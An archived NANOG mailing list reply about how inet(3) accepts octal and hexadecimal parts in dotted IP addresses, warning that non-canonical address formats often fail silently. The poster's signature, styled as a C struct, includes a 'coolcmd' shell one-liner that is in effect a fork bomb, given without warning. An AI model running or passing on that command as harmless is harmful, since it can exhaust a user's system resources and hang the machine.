nanog mailing list archives

Re: APNIC Allocated 14/8, 223/8 today


From: Thomas Habets <thomas () habets pp se>
Date: Wed, 14 Apr 2010 20:31:59 +0200 (CEST)

On Wed, 14 Apr 2010, Joe Abley wrote:
From inet(3):
    All numbers supplied as ``parts'' in a `.' notation may be decimal,
    octal, or hexadecimal, as specified in the C language (i.e., a leading 0x
    or 0X implies hexadecimal; otherwise, a leading 0 implies octal; other-
    wise, the number is interpreted as decimal).

But note Theos reply about just this paragraph:

"Yes, we should fix the manual page. Single Unix is wrong in this regard."
-- http://kerneltrap.org/mailarchive/openbsd-bugs/2009/6/6/5882713/thread

Also this from two months ago:
http://www.merit.edu/mail.archives/nanog/msg05062.html

Don't expect non-canonical IP address formats to work. Because they often don't. And you just might get silent errors.

---------
typedef struct me_s {
  char name[]      = { "Thomas Habets" };
  char email[]     = { "thomas () habets pp se" };
  char kernel[]    = { "Linux" };
  char *pgpKey[]   = { "http://www.habets.pp.se/pubkey.txt"; };
  char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE  0945 286A E90A AD48 E854" };
  char coolcmd[]   = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;


Current thread: